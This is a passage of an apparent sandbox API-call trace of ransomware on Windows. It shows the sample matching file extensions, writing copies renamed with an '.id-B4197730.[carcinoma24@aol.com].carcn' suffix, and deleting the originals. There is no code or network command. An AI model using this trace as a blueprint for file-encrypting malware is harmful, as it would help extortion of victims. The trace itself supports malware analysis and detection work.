(lpString=".dbf") returned 4 [0162.809] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.810] lstrlenW (lpString=".1cd") returned 4 [0162.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.810] lstrlenW (lpString=".jpg") returned 4 [0162.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.810] lstrcmpiW (lpString1=".bmp", lpString2=".carcn") returned -1 [0162.810] lstrlenW (lpString="watermark.bmp") returned 13 [0162.810] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0162.810] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=104072) returned 1 [0162.810] CloseHandle (hObject=0x310) returned 1 [0162.810] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0162.810] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.810] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0162.810] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0162.810] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0162.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0162.811] GetLastError () returned 0x0 [0162.811] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x19688, lpOverlapped=0x0) returned 1 [0163.004] WriteFile (in: hFile=0x2d8, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x19690, lpOverlapped=0x0) returned 1 [0163.006] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0163.006] WriteFile (in: hFile=0x2d8, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xee, lpOverlapped=0x0) returned 1 [0163.006] SetEndOfFile (hFile=0x2d8) returned 1 [0163.007] CloseHandle (hObject=0x2d8) returned 1 [0163.019] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0163.077] SetEndOfFile (hFile=0x310) returned 1 [0163.078] CloseHandle (hObject=0x310) returned 1 [0163.078] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0163.078] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0163.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.079] lstrlenW (lpString=".doc") returned 4 [0163.079] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString=".docx") returned 5 [0163.079] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0163.079] lstrlenW (lpString=".pdf") returned 4 [0163.079] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString=".xls") returned 4 [0163.079] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString=".xlsx") returned 5 [0163.079] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0163.079] lstrlenW (lpString=".ppt") returned 4 [0163.079] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.079] lstrlenW (lpString=".zip") returned 4 [0163.079] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString=".rar") returned 4 [0163.079] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString=".bz2") returned 4 [0163.079] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString=".7z") returned 3 [0163.079] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0163.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.079] lstrlenW (lpString=".dbf") returned 4 [0163.079] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0163.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.079] lstrlenW (lpString=".1cd") returned 4 [0163.079] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0163.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.079] lstrlenW (lpString=".jpg") returned 4 [0163.079] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.080] lstrlenW (lpString=".doc") returned 4 [0163.080] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString=".docx") returned 5 [0163.080] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0163.080] lstrlenW (lpString=".pdf") returned 4 [0163.080] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString=".xls") returned 4 [0163.080] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString=".xlsx") returned 5 [0163.080] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0163.080] lstrlenW (lpString=".ppt") returned 4 [0163.080] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.080] lstrlenW (lpString=".zip") returned 4 [0163.080] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString=".rar") returned 4 [0163.080] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString=".bz2") returned 4 [0163.080] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString=".7z") returned 3 [0163.080] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0163.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.080] lstrlenW (lpString=".dbf") returned 4 [0163.080] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0163.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.080] lstrlenW (lpString=".1cd") returned 4 [0163.080] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0163.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0163.080] lstrlenW (lpString=".jpg") returned 4 [0163.080] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0163.081] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.081] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0163.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0163.081] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=4136) returned 1 [0163.081] CloseHandle (hObject=0x310) returned 1 [0163.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0163.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0163.082] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0163.082] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0163.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0163.176] GetLastError () returned 0x0 [0163.176] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x1028, lpOverlapped=0x0) returned 1 [0163.303] WriteFile (in: hFile=0x318, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x1030, lpOverlapped=0x0) returned 1 [0163.304] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0163.304] WriteFile (in: hFile=0x318, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x100, lpOverlapped=0x0) returned 1 [0163.304] SetEndOfFile (hFile=0x318) returned 1 [0163.305] CloseHandle (hObject=0x318) returned 1 [0163.306] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0163.306] SetEndOfFile (hFile=0x310) returned 1 [0163.307] CloseHandle (hObject=0x310) returned 1 [0163.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0163.312] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0163.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.312] lstrlenW (lpString=".doc") returned 4 [0163.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString=".docx") returned 5 [0163.313] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0163.313] lstrlenW (lpString=".pdf") returned 4 [0163.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString=".xls") returned 4 [0163.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString=".xlsx") returned 5 [0163.313] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0163.313] lstrlenW (lpString=".ppt") returned 4 [0163.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.313] lstrlenW (lpString=".zip") returned 4 [0163.313] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.313] lstrlenW (lpString=".rar") returned 4 [0163.313] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString=".bz2") returned 4 [0163.313] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString=".7z") returned 3 [0163.313] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.313] lstrlenW (lpString=".dbf") returned 4 [0163.313] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.313] lstrlenW (lpString=".1cd") returned 4 [0163.314] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.314] lstrlenW (lpString=".jpg") returned 4 [0163.314] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.314] lstrlenW (lpString=".doc") returned 4 [0163.314] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString=".docx") returned 5 [0163.314] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0163.314] lstrlenW (lpString=".pdf") returned 4 [0163.314] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString=".xls") returned 4 [0163.314] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString=".xlsx") returned 5 [0163.314] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0163.314] lstrlenW (lpString=".ppt") returned 4 [0163.314] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.314] lstrlenW (lpString=".zip") returned 4 [0163.314] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.314] lstrlenW (lpString=".rar") returned 4 [0163.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString=".bz2") returned 4 [0163.314] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.314] lstrlenW (lpString=".7z") returned 3 [0163.314] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.314] lstrlenW (lpString=".dbf") returned 4 [0163.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.315] lstrlenW (lpString=".1cd") returned 4 [0163.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0163.315] lstrlenW (lpString=".jpg") returned 4 [0163.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.315] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.315] lstrlenW (lpString="Alphabet.xml") returned 12 [0163.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.438] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=791421) returned 1 [0163.438] CloseHandle (hObject=0x314) returned 1 [0163.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0163.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.446] lstrlenW (lpString=".doc") returned 4 [0163.446] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.446] lstrlenW (lpString=".docx") returned 5 [0163.446] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0163.446] lstrlenW (lpString=".pdf") returned 4 [0163.446] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.446] lstrlenW (lpString=".xls") returned 4 [0163.446] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.446] lstrlenW (lpString=".xlsx") returned 5 [0163.446] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0163.446] lstrlenW (lpString=".ppt") returned 4 [0163.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.446] lstrlenW (lpString=".zip") returned 4 [0163.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.446] lstrlenW (lpString=".rar") returned 4 [0163.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.446] lstrlenW (lpString=".bz2") returned 4 [0163.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString=".7z") returned 3 [0163.447] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.447] lstrlenW (lpString=".dbf") returned 4 [0163.447] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.447] lstrlenW (lpString=".1cd") returned 4 [0163.447] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.447] lstrlenW (lpString=".jpg") returned 4 [0163.447] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.447] lstrlenW (lpString=".doc") returned 4 [0163.447] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString=".docx") returned 5 [0163.447] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0163.447] lstrlenW (lpString=".pdf") returned 4 [0163.447] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString=".xls") returned 4 [0163.447] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString=".xlsx") returned 5 [0163.447] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0163.447] lstrlenW (lpString=".ppt") returned 4 [0163.447] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.447] lstrlenW (lpString=".zip") returned 4 [0163.447] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.447] lstrlenW (lpString=".rar") returned 4 [0163.448] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.448] lstrlenW (lpString=".bz2") returned 4 [0163.448] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.448] lstrlenW (lpString=".7z") returned 3 [0163.448] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.448] lstrlenW (lpString=".dbf") returned 4 [0163.448] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.448] lstrlenW (lpString=".1cd") returned 4 [0163.448] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0163.448] lstrlenW (lpString=".jpg") returned 4 [0163.448] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.448] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.448] lstrlenW (lpString="correct.avi") returned 11 [0163.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0163.909] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=180172) returned 1 [0163.909] CloseHandle (hObject=0x310) returned 1 [0163.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0163.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.909] lstrlenW (lpString=".doc") returned 4 [0163.909] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.909] lstrlenW (lpString=".docx") returned 5 [0163.909] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.909] lstrlenW (lpString=".pdf") returned 4 [0163.909] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.909] lstrlenW (lpString=".xls") returned 4 [0163.909] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.909] lstrlenW (lpString=".xlsx") returned 5 [0163.909] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.909] lstrlenW (lpString=".ppt") returned 4 [0163.909] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.909] lstrlenW (lpString=".zip") returned 4 [0163.909] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.909] lstrlenW (lpString=".rar") returned 4 [0163.910] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.910] lstrlenW (lpString=".bz2") returned 4 [0163.910] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.910] lstrlenW (lpString=".7z") returned 3 [0163.910] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.980] lstrlenW (lpString=".dbf") returned 4 [0163.980] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.980] lstrlenW (lpString=".1cd") returned 4 [0163.980] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.980] lstrlenW (lpString=".jpg") returned 4 [0163.980] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.980] lstrlenW (lpString=".doc") returned 4 [0163.980] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.980] 